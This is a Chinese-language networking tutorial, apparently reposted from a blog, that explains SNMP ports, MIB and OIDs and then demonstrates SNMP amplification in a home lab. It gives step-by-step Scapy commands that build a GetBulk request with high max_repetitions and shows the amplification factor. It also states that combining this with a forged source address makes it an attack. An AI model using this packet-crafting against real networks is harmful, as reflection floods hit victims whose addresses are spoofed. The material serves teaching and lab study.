简单网络协议

SNMP(Simmple Network Management Protocol)

  • 通过一台客户端机器向一个被管理的设备发出查询请求获取这台设备当前运行状态的检测等情况
  • 服务端口UDP:(被监控设备)端口UDP 161为主动查询请求;162端口为监控方在固定时间内受监控端向监控端自动发送查询请求。
  • 管理站(manager/客户端)、被管理设备(agent/服务端)
  • 管理信息数据库(MIB) 是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象
  • 每一个节点都有一个对象标识符(OID) 来唯一的标识一IETF定义便准的MIB库厂家自定义MIB库

攻击原理

  • 请求流量小,查询结果返回流量大
  • 结合伪造源地址实现攻击

实战:被攻击 windows 2003
攻击 kali

  1. >>> i=IP() #构造 IP 数据包
  2. >>> i.dst="192.168.1.124"
  3. >>> i.display()
  4. >>> u=UDP() #构造 UDP 数据包
  5. >>> u.dport=161
  6. >>> u.sport=161
  7. >>> s=SNMP() #构造 SNMP 数据包
  8. >>> s.display()
  9. >>> b=SNMPbulk() #设置放大倍数
  10. >>> b.max_repetitions=100 #重复次数,即倍数
  11. >>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))] #要查的内容
  12. >>> b.display()
  13. >>> s.display()
  14. >>> s.PDU=b #设置 SNMP 数据包
  15. >>> s.display()
  16. >>> r=(i/u/s) #合成完整数据包
  17. >>> r.display()
  18. >>> sr1(r) #发送数据包
  19. #发送 98 字节,返回 4534 字节的数据包
  20. #测试放大200倍效果
  21. >>> b.max_repetitions=200
  22. >>> s.PDU=b
  23. >>> s.display()
  24. >>> r=(i/u/s)
  25. >>> r.display()
  26. >>> sr1(r)
  27. #发送 99 字节,返回 8894 字节

原文:https://fishpond.blog.csdn.net/article/details/105534600
其他文章:https://blog.csdn.net/Jack0610/article/details/88690365